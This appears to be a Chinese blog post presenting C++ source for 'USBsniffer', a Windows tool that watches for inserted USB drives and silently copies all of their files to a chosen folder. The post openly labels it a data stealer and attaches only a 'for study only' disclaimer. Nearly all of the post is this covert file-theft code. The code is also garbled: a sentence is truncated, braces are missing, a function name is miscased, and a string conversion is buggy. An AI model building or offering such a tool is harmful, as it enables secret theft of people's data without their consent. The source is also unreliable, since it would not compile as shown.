U盘资料窃取器(C++版)

  1. *USBsniffer v1.0*/
  2. /*USBsniffer*/

  3. /*注意:仅供学习交流,请勿用于不正当用途!*/
  4. 功能简介:
  5. 本程序以3秒为周期,自动检测本地磁盘改动信息,如果发现有移动硬盘
  6. 或者U盘等USB存储设备后,会主动窃取其中所有信息,并保存在用户指定路
  7. #include <iostream>
  8. #include <stdlib.h>
  9. #include <io.h>
  10. #include <windows.h>
  11. #include <string>
  12. #include <sys/types.h>
  13. #include <sys/stat.h>
  14. using namespace std;
  15. void copyfiles(string source,char *target);
  16. char *StringToChar(string source);
  17. bool IsDirectory(const char* fname);
  18. void Init();
  19. int main(int argc,char **argv){
  20. if(argc!=2){
  21. Init();
  22. }
  23. else{
  24. while(access(*(argv+1),0)==0){ // if directory already exist,this will auto add '\1' back it;
  25. strcat(*(argv+1),"\\1\\");
  26. }
  27. if(createDirectory(*(argv+1),NULL)){
  28. DWORD frist=GetLogicalDrives();
  29. DWORD second,n=0;
  30. string targetPath="0";
  31. while(1){ // every 3 seconds to estimate if there is a USB device
  32. Sleep(3000);
  33. second=GetLogicalDrives();
  34. if(second-frist>0){
  35. second-=frist;
  36. while(second>>=1) n++;
  37. targetPath[0]=n+65;
  38. targetPath+=":\\*";
  39. copyfiles(targetPath,*(argv+1));
  40. return 0;
  41. }
  42. }
  43. }
  44. }
  45. }
  46. void copyfiles(string source,char *target){
  47. WIN32_FIND_DATA FindFileData;
  48. HANDLE hFind;
  49. char *sourceDir=0;
  50. int len;
  51. sourceDir=StringToChar(source);
  52. len=strlen(sourceDir);
  53. hFind = FindFirstFile(sourceDir, &FindFileData); //find the target dirctory's frist file;
  54. sourceDir[len-1]='\0'; // take out '*';
  55. while(1){
  56. if(hFind == INVALID_HANDLE_VALUE){ //file found error
  57. break;
  58. }
  59. else{
  60. char temp[200];
  61. char tempPath[200],tempSource[200];
  62. strcpy(temp,sourceDir);
  63. strcat(temp,FindFileData.cFileName);
  64. if(IsDirectory(temp)== true){ //estimate whether is a directory
  65. if(strcmp(FindFileData.cFileName,".")&&strcmp(FindFileData.cFileName,"..")){ //take out . & ..dirc
  66. strcpy(tempSource,sourceDir);
  67. strcat(tempSource,FindFileData.cFileName);
  68. strcpy(tempPath,target);
  69. strcat(tempPath,FindFileData.cFileName);
  70. createDirectory(tempPath,NULL);
  71. strcat(tempSource,"\\*");
  72. strcat(tempPath,"\\");
  73. copyfiles(tempSource,tempPath); //Recursion 
  74. }
  75. }
  76. else{ //if is a file,copy to target dirc
  77. strcpy(tempSource,sourceDir);
  78. strcpy(tempPath,target);
  79. strcat(tempPath,FindFileData.cFileName);
  80. strcat(tempSource,FindFileData.cFileName);
  81. CopyFile(tempSource,tempPath,false);
  82. }
  83. if(FindNextFile(hFind,&FindFileData)==0) break; //found the next file
  84. }
  85. }
  86. FindClose(hFind); //handle closed;

  87. char* StringToChar(string source){ //string convent to char*
  88. char *ch=new char[source.length()];
  89. ch=(char*)source.c_str();
  90. return ch;
  91. }
  92. bool IsDirectory(const char* fname) //Directory estimate
  93. {
  94. return FILE_ATTRIBUTE_DIRECTORY == GetFileAttributes(fname) ? true : false;

  95. void Init(){ //init function
  96. cout<<" USBsniffer v1.0 "<<endl
  97. <<"e.g: usbsniffer c:\\usb\\"<<endl
  98. <<" Then the USB Device'all files will be copy to the directory of c:\\usb\\ without any movement"
  99. <<",and the whole log will be saved to c:\\log.txt"<<endl
  100. <<" Witten By Colorblue QQ:773676933"<<endl
  101. <<" 2011.09.12"<<endl;
  102. }
发布了22 篇原创文章 · 获赞 10 · 访问量 35万+
展开阅读全文

没有更多推荐了,返回首页

©️2019 CSDN 皮肤主题: 大白 设计师: CSDN官方博客

分享到微信朋友圈

×

扫一扫,手机浏览